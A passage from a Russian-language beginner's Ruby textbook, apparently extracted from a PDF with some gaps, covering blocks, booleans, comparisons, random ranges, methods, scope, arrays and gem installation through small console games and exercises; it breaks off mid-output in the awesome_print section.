будет делать этот метод с блоком. А что он будет делать — нужно смотреть в
документации. Например, следующая конструкция полностью валидна:
³¹https://ruby-doc.org/core-2.5.1/Integer.html#method-i-times
Часть 2. Основы 81
$ irb
gets { puts 'OK' }
10.times do
puts "Спартак - чемпион!"
puts "(и Динамо тоже)"
end
Эта программа в бесконечном цикле выводила мое имя. Но из-за того, что не
происходило перехода на новую строку, возникал любопытный визуальный
эффект — экран наполнялся словом «Рома» и «ехал вбок». Можете попробовать
сделать то же самое на языке Руби:
Часть 2. Основы 82
loop do
print 'Рома '
end
Блоки и параметры
Тот объект (ниже это объект «24», класс Integer), который запускает ваш блок,
может передать в ваш блок параметр. Что делать с параметром — зависит уже
от вас, т.е. от вашего блока. Параметр в блоке — это обычно какая-то полезная
информация. Вы можете использовать этот параметр или игнорировать его.
До сих пор мы игнорировали параметр. Это происходило неявно, параметр
на самом деле передавался. Давайте теперь сделаем с параметром что-нибудь
интересное.
1 sum = 0
2
3 24.times do |n|
4 sum = sum + 500
5 puts "Месяц #{n}, у бабушки в сундуке #{sum}"
6 end
Результат:
1 sum = 0
2
3 24.times do |i|
4 sum = sum + 500
5 puts "Месяц #{i}, у бабушки в сундуке #{sum}"
6 end
1 sum = 0
2
3 24.times do |i|
4 sum = sum + 500
5 puts "Месяц #{i + 1}, у бабушки в сундуке #{sum}"
6 end
1 sum = 0
2
3 24.times do |i|
4 sum = sum + 500 + sum * 0.1
5 puts "Месяц #{i + 1}, у бабушки в сундуке #{sum}"
6 end
Задание 1
Известно, что стоимость дома — 500 тысяч долларов. Человек берет
дом в рассрочку на 30 лет. Чтобы выплатить сумму за 30 лет, нужно
платить 16 666 долларов в год (это легко посчитать, разделив 500
тысяч на 30). Написать программу, которая для каждого года выводит
сумму, которую осталось выплатить.
Задание 2
Измените программу из предыдущего задания со следующими усло-
виями: человек берет дом не в рассрочку, а в кредит по ставке 4 %
годовых на оставшуюся сумму. Для каждого года посчитайте, сколько
денег нужно заплатить за этот год за использование кредита.
Задание 3
Посчитайте количество денег (total), которые мы заплатим только в
виде процентов по кредиту за 30 лет.
Знак вопроса в конце метода говорит лишь о том, что метод возвращает
значение типа Boolean (в языке Руби нет отдельного типа для Boolean, поэтому
это либо TrueClass тип, либо FalseClass тип). Другими словами, значение либо
true, либо false. Например, метод, который определяет, беременна ли девушка,
можно записать только со знаком вопроса в конце, потому что результат — или
true (истина), или false (ложь). Часто такие методы начинаются со слова is:
girl.is_little_bit_pregnant?
$ irb
> 1.even?
false
> 1.odd?
true
> 2.even?
true
> 2.odd?
false
> 10 % 2 == 0 # наша собственная реализация even?
true
Часть 2. Основы 88
$ ruby app.rb
Запускаем ракеты...
Осталось 5 секунд
Осталось 4 секунд
Осталось 3 секунд
Осталось 2 секунд
Осталось 1 секунд
Ба-бах!
Задание 1
Вывести на экран числа от 50 до 100.
Задание 2
Вывести на экран числа от 50 до 100, и если число четное — рядом с
ним написать true, если нечетное — false.
Часть 2. Основы 90
Задание 3
Вы создаете веб-сайт для барбер-шопа. Выведите на экран все виды
текстурного крема для волос. Каждый вид крема имеет два параметра,
SHINE (блеск) и HOLD (стойкость). Каждый параметр представлен
цифрой от 1 до 5.
SHINE 1 HOLD 1
SHINE 1 HOLD 2
SHINE 1 HOLD 3
SHINE 1 HOLD 4
SHINE 1 HOLD 5
SHINE 2 HOLD 1
SHINE 2 HOLD 2
...
$ man test
...
test - check file types and compare values
$ ruby app.rb
Your age?
20
Access granted
$ ruby app.rb
Your age?
10
$ irb
> true.class
=> TrueClass
> false.class
=> FalseClass
> true.is_a?(Boolean)
[ERROR]
У-у-упс! Оказывается, что нет единого типа данных Boolean! Есть тип TrueClass,
и есть FalseClass. Однако полезно держать в голове мысль о том, что true и
Часть 2. Основы 94
• > — больше;
• < — меньше;
• == — равно;
• != — не равно;
• >= — больше или равно;
• <= — меньше или равно;
• <=> — (только Руби) космический корабль (spaceship operator. Да, и та-
кое бывает). Мы не будем рассматривать этот оператор, но он может
вам пригодиться, когда вы будете делать кастомную сортировку в Руби.
Например, создадите класс животных и захотите отсортировать их по
количеству ушей;
• === — (только JavaScript) точно равно;
• !== — (только JavaScript) точно не равно.
$ node
> '5' == 5
true
$ node
> '5' === 5
false
$ irb
> '5' == 5
=> false
Кстати, в нашей программе вначале этой главы была допущена ошибка при
сравнении возраста. Сможете ли вы ее увидеть? Наше условие было «age > 18»,
когда на самом деле мы хотим проверить «age >= 18», ведь восемнадцатилетие
— это возраст совершеннолетия, после которого можно пускать пользователя
на интересные сайты.
if age < 18
puts 'Доступ запрещен'
exit
end
Задание
Попробуйте написать следующие сравнения в REPL и догадаться,
каков будет результат для языка Руби. Заполните таблицы.
Таблица 1:
Таблица 2:
Таблица 3:
Таблица 4:
Комбинирование условий
$ irb
> 1 == 1 && 2 == 2
=> true
> 1 == 5 && 2 == 2
=> false
> 1 == 5 || 2 == 2
=> true
Запустим программу:
$ ruby app.rb
Сколько вам лет?
19
Являетесь ли вы членом партии Единая Россия? (y/n)
n
$ ruby app.rb
Сколько вам лет?
19
Являетесь ли вы членом партии Единая Россия? (y/n)
Часть 2. Основы 99
y
Вход на сайт разрешен
Задание 1
Попробуйте написать следующие сравнения в REPL и догадаться,
каков будет результат для языка Руби. Заполните таблицы.
Таблица 1:
Выражение: 0 == 0 && 2 + 2 == 4
Результат:
Таблица 2:
Выражение: 1 == 2 && 2 == 1
Результат:
Таблица 3:
Выражение: 1 == 2 || 2 == 1
Результат:
Часть 2. Основы 100
Задание 2
Напишите программу, которая спрашивает логин и пароль пользо-
вателя в консоли. Если имя «admin» и пароль «12345», программа
должна выводить на экран «Доступ к банковской ячейке разрешен».
Задание 3
Известно, что на Луне продают участки. Любой участок менее 50
квадратных метров стоит 1000 долларов. Участок площадью от 50 до
100 квадратных метров стоит 1500 долларов. От 100 и выше — по 25
долларов за квадратный метр. Напишите программу, которая запра-
шивает длину и ширину участка и выводит на экран его стоимость.
Задание 4
Напишите программу «иммигрант». Программа должна задавать
следующие вопросы: «У вас есть высшее образование? (y/n)», «У
вас есть опыт работы программистом? (y/n)», «У вас более трех
лет опыта? (y/n)». За каждый положительный ответ начисляется 1
балл (переменную можно назвать score). Если набралось 2 или более
баллов, программа должна выводить на экран «Добро пожаловать в
США».
console.log('Запуск ракеты!');
setTimeout(function() {
console.log('Прошла одна секунда, запускаем');
}, 1000);
console.log('Ба-бах!');
Вывод:
Запуск ракеты!
Ба-бах!
Прошла одна секунда, запускаем
Но что, если этой информации недостаточно? Что, если мы только что вклю-
чили компьютер, сделали несколько движений мышью и нажали несколько
кнопок, и хотим получить комбинацию из миллиардов случайных чисел?
Конечно, на основе полученной информации из реального мира алгоритм
задает вектор, но какое количество векторов в этом случае возможно?
for i := 1 to 52 do begin
r := random(51) + 1;
swap := card[r];
card[r] := card[i];
card[i] := swap;
end;
$ irb
> rand(1..5)
4
> rand(1..5)
1
$ irb
> rand(1, 5)
[ERROR — функция не принимает 2 значения]
$ irb
> (1..5).class
=> Range
Так вот оно что! Это определенный класс в языке Руби, который отвечает за
диапазон, и называется этот класс Range. На самом деле этот класс довольно
полезный. Документация³⁵ по этому классу выдает много интересного, но
давайте для начала убедимся, что это никакая не магия и этот объект можно
инициализировать, как и любую другую переменную:
$ irb
> x = 1..5
=> 1..5
> rand(x)
=> 4
$ irb
> sleep rand(1..5)
$ irb
> sleep rand(1..5)
> sleep rand 1..5
> sleep(rand(1..5))
$ irb
> rand(0.03..0.09)
=> 0.03920647825951599
> rand(0.03..0.09)
=> 0.06772359081051581
Задание 1
Посмотрите документацию по классу Range³⁶.
³⁶https://ruby-doc.org/core-2.5.1/Range.html
Часть 2. Основы 108
Задание 2
Напишите программу, которая будет выводить случайное число от
500 до 510.
Задание 3
Напишите программу, которая будет выводить случайное число с
дробью от 0 до 1. Например, 0.54321 или 0.123456.
Задание 4
Напишите программу, которая будет выводить случайное число с
дробью от 2 до 4.
Угадай число
1 number = rand(1..10)
2 print 'Привет! Я загадал число от 1 до 10, попробуйте угадать: '
3
4 loop do
5 input = gets.to_i
6
7 if input == number
8 puts 'Правильно!'
9 exit
10 end
11
12 if input != number
13 print 'Неправильно, попробуйте еще раз: '
14 end
15 end
На этом этапе у вас должно быть достаточно знаний, для того чтобы понять,
что здесь происходит. Попробуйте догадаться, как работает эта программа.
Результат работы программы:
Следующий блок «if » содержит тест «если загаданное число НЕ равно вводу
пользователя». Обратите внимание, что мы используем print, а не puts, т.к.
puts переводит строку, а нам этого не надо (если это не понятно, попробуйте
заменить print на puts).
1 number = rand(1..10)
2 print 'Привет! Я загадал число от 1 до 10, попробуйте угадать: '
3
4 loop do
5 input = gets.to_i
6
7 if input == number
8 puts 'Правильно!'
9 exit
10 else
Часть 2. Основы 111
Задание
Измените программу, чтобы она загадывала число от 1 до 1_000_000 (1
миллиона). Чтобы можно было угадать это число, программа должна
сравнивать текущий ответ пользователя и искомое число: 1) если
ответ пользователя больше, то программа должна выводить на экран
«Искомое число меньше вашего ответа»; 2) иначе «Искомое число
больше вашего ответа». Может показаться, что угадать это число
невозможно, однако математический расчет показывает, что угадать
число в этом случае можно не более, чем за 20 попыток.
Часть 3. Время веселья
Тернарный оператор
Например:
if is_it_raining?
stay_home()
else
go_party()
end
x ? stay_home() : go_party()
Или:
x ? stay_home : go_party
x = is_it_raining?
result = x ? stay_home : go_party
x = is_it_raining?
result = if x
stay_home
else
go_party
end
Задание
Запишите следующие примеры при помощи тернарного оператора.
Пример 1:
if friends_are_also_coming?
go_party
else
stay_home
end
Пример 2:
Часть 3. Время веселья 115
Индикатор загрузки
print "one\rtwo"
Задание
С помощью символов /, -, \, | сделайте анимацию — индикатор
загрузки. Если выводить эти символы по очереди на одном и том
же месте, возникает ощущение вращающегося символа.
Методы
age = gets.to_i
1 def get_number
2 gets.to_i
3 end
4
5 age = get_number
age = get_number
salary = get_number
rockets = get_number
Методы в Руби всегда возвращают значение, даже если кажется, что они его
не возвращают. Результат выполнения последней строки метода (в примере
выше она же и первая) — это и есть возвращаемое значение. Если мы по
какой-то причине хотим вернуть значение в середине метода (и прекратить
дальнейшее выполнение), мы можем использовать ключевое слово return:
Часть 3. Время веселья 118
1 def check_if_world_is_crazy?
2 if 2 + 2 == 4
3 return false
4 end
5
6 puts "Jesus, I can't believe that"
7 true
8 end
1 def get_number(what)
2 print "Введите #{what}: "
3 gets.to_i
4 end
5
6 age = get_number('возраст')
7 salary = get_number('зарплату')
8 rockets = get_number('количество ракет для запуска')
Введите возраст: 10
Введите зарплату: 3000
Введите количество ракет для запуска: 5
Согласитесь, что программа выше выглядит намного проще, чем она могла
бы выглядеть без метода get_number:
Часть 3. Время веселья 119
Более того, представьте, что мы решили задать вопрос немного иначе: «Вве-
дите, пожалуйста» вместо «Введите». В случае с методом нам нужно сделать
исправление только в одном месте. А если программа не разделена на логиче-
ские блоки и «идет сплошной простыней», исправления надо сделать сразу в
трех местах.
Начинающему может показаться, что это совсем незначительные улучшения.
Однако на практике следует выполнять рефакторинг постоянно. Когда код
хорошо организован, писать программы — одно удовольствие! К сожалению,
организация кода — не такая простая задача, как может показаться на первый
взгляд. Существует много техник рефакторинга, шаблонов проектирования и
т.д. Но главное, конечно, желание программиста поддерживать порядок.
Задание
Напишите метод, который выводит на экран пароль, но в виде звез-
дочек. Например, если пароль secret, метод должен вывести «Ваш
пароль: ******».
Для начала условимся, что людей и машин осталось поровну: по 10 000 с каж-
дой стороны. В каждом цикле программы будет происходить одно случайное
событие. И с одинаковой долей вероятности число людей или машин будет
убавляться. Победа наступает в том случае, когда или людей, или машин не
осталось. Приступим.
humans = 10_000
machines = 10_000
loop do
if check_victory?
exit
end
...
end
def event1
# ...
end
def event2
# ...
end
def event3
# ...
end
# ...
dice = rand(1..3)
if dice == 1
event1
elsif dice == 2
event2
elsif dice == 3
event3
Часть 3. Время веселья 122
end
Мы применили новое ключевое слово elsif (слово else нам уже знакомо).
Elsif — это, пожалуй, самое неочевидное сокращение в языке Руби, которое
означает «else if» (иначе если…).
sleep rand(0.3..1.5)
Готовая программа:
########################################
# ОПРЕДЕЛЯЕМ ПЕРЕМЕННЫЕ
########################################
@humans = 10_000
@machines = 10_000
########################################
# ВСПОМОГАТЕЛЬНЫЕ МЕТОДЫ
########################################
def boom
Часть 3. Время веселья 123
diff = rand(1..5)
if luck?
@machines -= diff
puts "#{diff} машин уничтожено"
else
@humans -= diff
puts "#{diff} людей погибло"
end
end
def random_sleep
sleep rand(0.3..1.5)
end
Часть 3. Время веселья 124
def stats
puts "Осталось #{@humans} людей и #{@machines} машин"
end
########################################
# СОБЫТИЯ
########################################
def event1
puts "Запущена ракета по городу #{random_city}"
random_sleep
boom
end
def event2
puts "Применено радиоактивное оружие в городе #{random_city}"
random_sleep
boom
end
def event3
puts "Группа солдат прорывает оборону противника в городе #{random_ci\
ty}"
random_sleep
boom
end
########################################
# ПРОВЕРКА ПОБЕДЫ
########################################
Часть 3. Время веселья 125
def check_victory?
false
end
########################################
# ГЛАВНЫЙ ЦИКЛ
########################################
loop do
if check_victory?
exit
end
dice = rand(1..3)
if dice == 1
event1
elsif dice == 2
event2
elsif dice == 3
event3
end
stats
random_sleep
end
Результат работы:
Часть 3. Время веселья 126
Задание 1
Реализуйте метод check_victory? (сейчас он просто возвращает зна-
чение false). В случае победы или поражения необходимо выводить
полученный результат на экран. Измените 10_000 на 10, чтобы легче
было отлаживать программу.
Задание 2
Посмотрите документацию к «ruby case statements» и замените кон-
струкцию if...elsif на case...when.
Часть 3. Время веселья 127
Задание 3
Сделать так, чтобы цикл был теоретически бесконечным. То есть что-
бы равновероятно на свет появлялись люди и машины. Количество
появившихся людей или машин должно равняться количеству по-
гибших людей или машин. Несмотря на то что теоретически борьба
может быть бесконечной, на практике может наступить ситуация, в
которой та или иная сторона выигрывает. Проверьте программу на
практике, попробуйте разные значения humans и machines (1000, 100,
10).
Задание 4
Улучшите программу, добавьте как минимум еще 3 события, которые
могут влиять на результат Судного дня.
x = 123
def print_x
puts x
end
print_x
puts self
puts self.class
Вывод:
main
Object
Другими словами, это top-level scope в языке Руби. Не стоит особо волновать-
ся на этот счет до тех пор, пока вы не начнете изучать внутренние особенности
языка. Но, зная об этой особенности, становится проще понять, почему метод
не имеет доступа к переменной. Эта переменная не является локальной (local)
для метода. Локальная — это любая переменная, объявленная внутри метода.
К локальным переменным можно обратиться обычным способом:
Часть 3. Время веселья 129
def calc_something
x = 2 + 2
puts x
end
@x = 123
def print_x
puts @x
end
print_x
function printX() {
console.log(x);
}
printX();
Как вы уже могли заметить, в разных языках есть разные особенности. Эти
особенности определены чаще всего природой языка программирования: для
какой цели был создан тот или иной язык. JavaScript — это событийный
асинхронный язык, и замыкания — простые функции, имеющие доступ к
переменным, объявленным вне себя, — очень удобны, когда возникают какие-
либо события (например, пользователь щелкает на каком-либо элементе).
Программа должна работать до тех пор, пока на балансе есть деньги. Начнем
с элементарной проверки возраста игрока:
balance = 20
loop do
# ..
end
x = rand(0..5)
y = rand(0..5)
z = rand(0..5)
Проверим первое условие «Если все переменные равны нулю, баланс обнуля-
ется»:
if x == 0 && y == 0 && z == 0
balance = 0
puts 'Ваш баланс обнулен'
end
if x == 0 && y == 0 && z == 0
balance = 0
puts 'Ваш баланс обнулен'
elsif x == 1 && y == 1 && z == 1
balance += 10
puts 'Баланс увеличился на 10 долларов'
elsif x == 2 && y == 2 && z == 2
balance += 20
puts 'Баланс увеличился на 20 долларов'
else
balance -= 0.5
puts 'Баланс уменьшился на 50 центов'
end
balance = 20
loop do
Часть 3. Время веселья 134
x = rand(0..5)
y = rand(0..5)
z = rand(0..5)
if x == 0 && y == 0 && z == 0
balance = 0
puts 'Ваш баланс обнулен'
elsif x == 1 && y == 1 && z == 1
balance += 10
puts 'Баланс увеличился на 10 долларов'
elsif x == 2 && y == 2 && z == 2
balance += 20
puts 'Баланс увеличился на 20 долларов'
else
balance -= 0.5
puts 'Баланс уменьшился на 50 центов'
end
Ваш возраст: 20
Нажмите Enter, чтобы дернуть ручку...
Результат: 1 2 4
Баланс уменьшился на 50 центов
Ваш баланс: 19.5 долларов
Нажмите Enter, чтобы дернуть ручку...
Результат: 1 1 1
Баланс увеличился на 10 долларов
Ваш баланс: 15.5 долларов
Нажмите Enter, чтобы дернуть ручку...
Задание 1
Определите метод, который будет вычислять случайный номер с
анимацией (используйте sleep со случайной задержкой). Примените
анимацию³⁷ к переменным x, y, z.
³⁷https://goo.gl/hpk49x
Часть 3. Время веселья 136
Задание 2
Добавьте больше условий в игру «Однорукий бандит», используйте
свое воображение.
Задание 3
(Если вы используете MacOS) вместо цифр в консоли используйте
эмодзи. Пусть каждой цифре соответствует определенная картинка.
Вы можете найти эмодзи на сайте³⁸.
Массивы
Массив (array) — это просто какой-то набор данных. Например, массив имен
жильцов, проживающих в подъезде. Или массив чисел, где каждое число
может иметь какое-то значение (например, зарплата сотрудника). Или массив
объектов — работники предприятия, где у каждого работника могут быть
указаны зарплата, возраст, имя.
Возникает вопрос: а зачем нам использовать массивы? Зачем нам может потре-
боваться помещать что-то в массив? Ответ довольно простой: массивы удобны
³⁸https://emojipedia.org/
Часть 3. Время веселья 137
тем, что они представляют какой-то набор данных и с этими данными можно
производить какие-то действия. Допустим, у нас есть массив посещенных
городов:
$ irb
...
> arr.size
=> 4
$ irb
...
> arr.sort
=> ["Лондон", "Москва", "Нью-Йорк", "Сан-Франциско"]
arr = []
Но зачем он нужен? Затем же, зачем нужна пустая корзина, что-нибудь туда
положить. Положить объект (все в Руби — объект) в массив можно несколькими
способами, обычно используется два основных:
1 arr = []
2
3 loop do
4 print 'Введите имя и телефон человека (Enter для окончания ввода): '
5 entry = gets.chomp
6 break if entry.empty?
7 arr << entry
8 end
9
10 puts 'Ваша записная книжка:'
11
12 arr.each do |element|
13 puts element
14 end
Введите имя и телефон человека (Enter для окончания ввода): Геннадий 12\
345
Введите имя и телефон человека (Enter для окончания ввода): Мама (555) \
111-22-33
Введите имя и телефон человека (Enter для окончания ввода): Любимая (55\
5) 12345
Введите имя и телефон человека (Enter для окончания ввода): Любимая 2 (\
555) 98765
Введите имя и телефон человека (Enter для окончания ввода):
Ваша записная книжка:
Геннадий 12345
Мама (555) 111-22-33
Любимая (555) 12345
Часть 3. Время веселья 140
Так вот, метод each запускает то, что внутри блока для каждого элемента
массива. Другими словами, маленькую подпрограмму для каждого элемента
(element, item):
arr.each do |item|
# внутри блока идет подпрограмма
# может занимать несколько строк
end
³⁹https://ruby-doc.org/core-2.5.1/Array.html
Часть 3. Время веселья 141
def my_method(word)
puts "В слове #{word} #{word.size} букв"
end
arr.each do |word|
puts "В слове #{word} #{word.size} букв"
end
arr.each my_method
Метод each реализован также в некоторых других типах. Обход чего-либо в об-
щем и целом является довольно популярной операцией в программировании,
поэтому each можно увидеть даже там, где его, казалось бы, быть не может.
Вариация each для типа String:
$ irb
> 'hello'.each_char { |x| puts x }
h
e
l
l
o
(1001..1005).each do |x|
puts "Я робот #{x}"
end
Результат:
Я робот 1001
Я робот 1002
Я робот 1003
Я робот 1004
Я робот 1005
Инициализация массива
arr = []
arr = []
arr = Array.new
$ irb
> arr = Array.new(10)
=> [nil, nil, nil, nil, nil, nil, nil, nil, nil, nil]
Array.new(10, 1)
Конструкция создаст массив размером 10, где каждый элемент будет равен
единице:
[1, 1, 1, 1, 1, 1, 1, 1, 1, 1]
Обращение к массиву
> arr.size
=> 5
> arr[4]
=> "five"
Другими словами:
puts arr[4]
my_own_method(arr[4])
И так далее, т.е. делать все то же самое, что мы уже умеем делать с переменной.
Например, можно присвоить какому-нибудь элементу массива другое значе-
ние:
arr[1] = 'двундель'
Например, программа
выведет на экран:
one
двундель
three
four
five
Битва роботов
arr1 = Array.new(10, 1)
arr2 = Array.new(10, 1)
i = rand(0..9)
Далее осталось только обратиться к ячейке массива, и если она равна единице,
то присвоить ей значение ноль. А если ячейка уже равна нулю, значит, выстрел
по этому месту уже был:
if arr[i] == 1
arr[i] = 0
puts "Робот по индексу #{i} убит"
else
puts 'Промазали!'
end
arr = [1, 0, 1, 0, 1, 1]
1 arr = [1, 0, 1, 0, 1, 1]
2 x = 0
3 arr.each do |element|
4 if element == 1
5 x += 1
6 end
7 end
8 puts "В массиве #{x} единиц"
Программа работает, но есть способ проще. Метод count класса Array (обяза-
тельно посмотрите документацию) делает то же самое, но выглядит намного
проще:
1 arr = [1, 0, 1, 0, 1, 1]
2 x = arr.count do |x|
3 x == 1
4 end
5 puts "В массиве #{x} единиц"
Однострочник для вычисления количества единиц в массиве путем передачи блока в метод count
1 arr = [1, 0, 1, 0, 1, 1]
2 x = arr.count { |x| x == 1 }
3 puts "В массиве #{x} единиц"
На данном этапе у нас есть все, что нужно. Две команды роботов, стрелять
будут по очереди, индекс выбирается случайно, проигрывает тот, у кого не
осталось ни одного робота. Можно писать эту игру. Так как игра не требует
ввода пользователя, мы будем на нее только смотреть.
Задание
Напишите эту игру самостоятельно. Сравните свой результат с про-
граммой ниже. Внимание: есть вероятность, что у вас что-то не
получится, в данном случае не важно, сможете ли вы написать эту
программу или нет, важен процесс и работа над ошибками.
Код программы:
###############################
# ОБЪЯВЛЯЕМ МАССИВЫ
###############################
###############################
# АТАКА
Часть 3. Время веселья 151
###############################
###############################
# ПРОВЕРКА ПОБЕДЫ
###############################
def victory?
robots_left1 = @arr1.count { |x| x == 1 }
robots_left2 = @arr2.count { |x| x == 1 }
if robots_left1 == 0
puts "Команда 2 победила, в команде осталось #{robots_left2} робото\
в"
return true
end
if robots_left2 == 0
Часть 3. Время веселья 152
false
end
###############################
# СТАТИСТИКА
###############################
def stats
# количество живых роботов для первой и второй команды
cnt1 = @arr1.count { |x| x == 1 }
cnt2 = @arr2.count { |x| x == 1 }
puts "1-ая команда: #{cnt1} роботов в строю"
puts "2-ая команда: #{cnt2} роботов в строю"
end
###############################
# ГЛАВНЫЙ ЦИКЛ
###############################
loop do
puts 'Первая команда наносит удар...'
attack(@arr2)
exit if victory?
stats
sleep 3
Часть 3. Время веселья 153
Задание 1
Чтобы статистика была более наглядной, добавьте в программу выше
вывод двух массивов.
Задание 2
Вместо бинарного значения ноль или единица пусть каждый робот
имеет уровень жизни, который выражается целым числом от 1 до 100
(в самом начале это значение должно быть установлено в 100). Пусть
каждая атака отнимает случайную величину жизни у робота от 30
до 100. Если уровень жизни ниже или равен нулю, робот считается
уничтоженным.
$ irb
> Array.new(10, 'hello')
=> ["hello", "hello", "hello", "hello", "hello", "hello", "hello", "hel\
lo", "hello", "hello"]
$ irb
> Array.new(10, true)
=> [true, true, true, true, true, true, true, true, true, true]
Или Integer:
$ irb
> Array.new(10, 123)
=> [123, 123, 123, 123, 123, 123, 123, 123, 123, 123]
Другими словами, элемент массива — это любой объект. Если элемент массива
— любой объект и сам по себе массив — это объект, значит, мы можем объявить
массив массивов:
$ irb
> Array.new(10, [])
=> [[], [], [], [], [], [], [], [], [], []]
$ irb
> arr = Array.new(10, [])
=> [[], [], [], [], [], [], [], [], [], []]
> element = arr[4]
=> []
> element.class
=> Array
Мы видим, что этот элемент — массив, тип Array. Массив этот пустой. Когда
мы ввели element = arr[4], REPL посчитал нам это выражение и ответил [] (к
слову, если бы это была последняя строка метода, то метод вернул бы []). Что
мы можем сделать с пустым массивом? Добавить туда что-нибудь. Давайте
это сделаем:
element.push('something')
[[], [], [], [], ['something'], [], [], [], [], []]
Проверим в REPL:
> arr
=> [["something"], ["something"], ["something"], ["something"], ["somet\
hing"], ["something"], ["something"], ["something"], ["something"], ["s\
omething"]]
Где ошибка? Слово знатокам, время пошло! Это, кстати, может быть хитрым
вопросом на интервью. Вопрос не самый простой и подразумевает знакомство
и понимание принципов работы языка Руби, что такое объект, что такое
ссылка. Помните, мы с вами немного говорили про ссылки? Когда есть подъезд
и каждый звонок ведет в собственную квартиру? Мы можем повторить такой
же фокус с классом String:
Ожидаемый результат:
Реальный результат:
самом деле при такой инициализации массива ячейки содержат не сам объект,
а ссылку на объект. Чтобы этого не происходило, нужно, чтобы ссылки на
объекты были разные. При этом, конечно, и сами объекты будут разные — они
будут располагаться в разных областях памяти, и если мы что-то изменим, то
это не изменит состояние (state) других объектов.
Просто потому, что массив внутри массива предназначен для того, чтобы
меняться. Зачем нам пустой массив? Ведь мы захотим когда-нибудь туда
что-то записать. В случае со строками все немного проще, такая конструкция
допустима:
В классе Integer нет опасных методов, поэтому, даже если у вас есть доступ
к объекту, вы не сможете его изменить (но сможете заменить). Если вы
напишете arr[4] = 124, то вы замените ссылку в массиве на новый объект,
который будет представлять число 124. Ссылки на один и тот же объект 123 в
других частях массива сохранятся. То есть мы и получим то, что ожидаем:
$ irb
> arr = Array.new(10, 123)
=> [123, 123, 123, 123, 123, 123, 123, 123, 123, 123]
> arr[4] = 124
=> 124
> arr
=> [123, 123, 123, 123, 124, 123, 123, 123, 123, 123]
Вау! Но почему так? Давайте разберемся. Метод new (на самом деле это метод
initialize, но это пока не важно) принимает один параметр и один блок.
Первый параметр — фиксированный, это количество элементов массива. А
второй параметр — блок, который надо исполнить для каждого элемента.
Результат выполнения этого блока и будет новым элементом. Блок будет
запускаться 10 раз (в нашем случае). Ничто не мешает написать нам блок
таким образом:
$ irb
> arr1 = Array.new(10) { 'something' }
=> ["something", "something", "something", "something", "something", "\
something", "something", "something", "something", "something"]
Это очень просто доказать. Для людей, недостаточно знакомых с языком Руби,
это кажется волшебным трюком. Модифицируем элемент по индексу 0 в
первом массиве, где каждый элемент — это всегда ссылка на отдельную строку,
для каждого элемента массива ссылка разная.
arr1[0].upcase!
> arr1
=> ["SOMETHING", "something", "something", "something", "something", "\
something", "something", "something", "something", "something"]
Изменилось только первое значение, что доказывает, что ссылка везде разная.
Если же проделать точно такой же трюк со вторым массивом, то поменяется
Часть 3. Время веселья 162
> arr2[0].upcase!
=> "SOMETHING"
> arr2
=> ["SOMETHING", "SOMETHING", "SOMETHING", "SOMETHING", "SOMETHING", "\
SOMETHING", "SOMETHING", "SOMETHING", "SOMETHING", "SOMETHING"]
arr = [1, 2, 3]
Или:
Часть 3. Время веселья 164
Давайте определим массив 3*3 для игры в крестики-нолики, где ноль — это
нолик, единица — крестик, а пустая клетка — это nil. Для такой матрицы:
Крестики-нолики
arr = [
[0, 0, 1],
[nil, 0, nil],
[1, nil, 1]
]
Задание 1
Если вы не попробовали в REPL все написанное выше, то перечитайте
и попробуйте.
Задание 2
Создайте массив в 5 строк и 4 столбца, заполните каждую строку
случайным значением от 1 до 5 (только одно случайное значение для
каждой строки). Пример для массива 2*3:
[
[2, 2, 2],
[5, 5, 5]
]
Задание 3
Создайте массив в 4 строки и 5 столбцов, заполните каждую строку
случайным значением от 1 до 5 (только одно случайное значение для
каждой строки).
Часть 3. Время веселья 166
Задание 4
Создайте массив 5*4 и заполните весь массив абсолютно случайными
значениями от 0 до 9.
Установка gem’ов
$ irb
> Array.new(10) { Array.new(10) }
=> [[nil, nil, nil, nil, nil, nil, nil, nil, nil, nil], [nil, nil, nil\
, nil, nil, nil, nil, nil, nil, nil], [nil, nil, nil, nil, nil, nil, ni\
l, nil, nil, nil], [nil, nil, nil, nil, nil, nil, nil, nil, nil, nil], \
[nil, nil, nil, nil, nil, nil, nil, nil, nil, nil], [nil, nil, nil, nil\
, nil, nil, nil, nil, nil, nil], [nil, nil, nil, nil, nil, nil, nil, ni\
l, nil, nil], [nil, nil, nil, nil, nil, nil, nil, nil, nil, nil], [nil,\
nil, nil, nil, nil, nil, nil, nil, nil, nil], [nil, nil, nil, nil, nil\
, nil, nil, nil, nil, nil]]
Синтаксис верный, но как понять, где пятая строка и второй столбец? Прихо-
дится вглядываться в «простыню» этих значений. Разработчики языка Руби
знали, что нельзя написать инструмент, который понравится всем. И вместо
того чтобы завязывать разработчика на фиксированный набор инструментов,
Часть 3. Время веселья 167
Слово gem звучит поинтереснее, чем просто «пакет». Но смысл один и тот
же — просто какая-то программа, или программный код, который очень
просто скачать или использовать, если знаешь имя gem’a. Для установки gem’а
используется команда gem, которая является частью пакета языка Руби (так же
как и irb и ruby).
«Cowsay» — это «cow say» («корова скажи»). Это не очень популярный gem,
который был создан обычным энтузиастом. Этот gem добавляет в ваш shell
команду cowsay, которая принимает аргумент и выводит на экран корову,
которая что-то говорит:
Часть 3. Время веселья 168
Не обязательно gem должен добавлять какую-то команду. Часто бывает так, что
gem предоставляет только определенный код, который вы можете использовать
в своей программе, применив ключевое слово require (с параметром — обычно
именем gem’а).
Вот что говорит нам GitHub: «An IRB alternative and runtime developer console».
Другими словами, альтернатива уже известному нам REPL — IRB. Если раньше
мы вводили команду irb, то теперь будем вводить команду pry. Давайте же
поскорее установим этот gem и посмотрим, чем он лучше:
⁴⁰https://github.com/pry/pry
Часть 3. Время веселья 169
$ pry
> arr = [[0, 0, 1], [nil, 0, nil], [1, nil, 1]]
...
Gem называется «awesome print». Gem содержит в себе библиотеку кода, плагин
для pry, плагин для irb (нам не потребуется, т.к. в будущем будем использо-
вать только pry). Страница gem’a⁴¹ на GitHub. Пройдите по ссылке, чтобы озна-
комиться с документацией и понять, что делает awesome print. Если ничего не
понятно, то ничего страшного, сейчас разберемся. Давайте установим awesome
print:
⁴¹https://github.com/awesome-print/awesome_print
Часть 3. Время веселья 170
Сам по себе gem не создает никаких команд. Поэтому давайте подключим его
к pry. Как это сделать, описано в документации. Мы сделаем это вместе:
$ pry
> arr = [[0, 0, 1], [nil, 0, nil], [1, nil, 1]]
[
[0] [
[0] 0,
[1] 0,
[2] 1
],
[1] [
[0] nil,
[1] 0,
[2] nil
],
[2] [
[0] 1,
[1] nil,
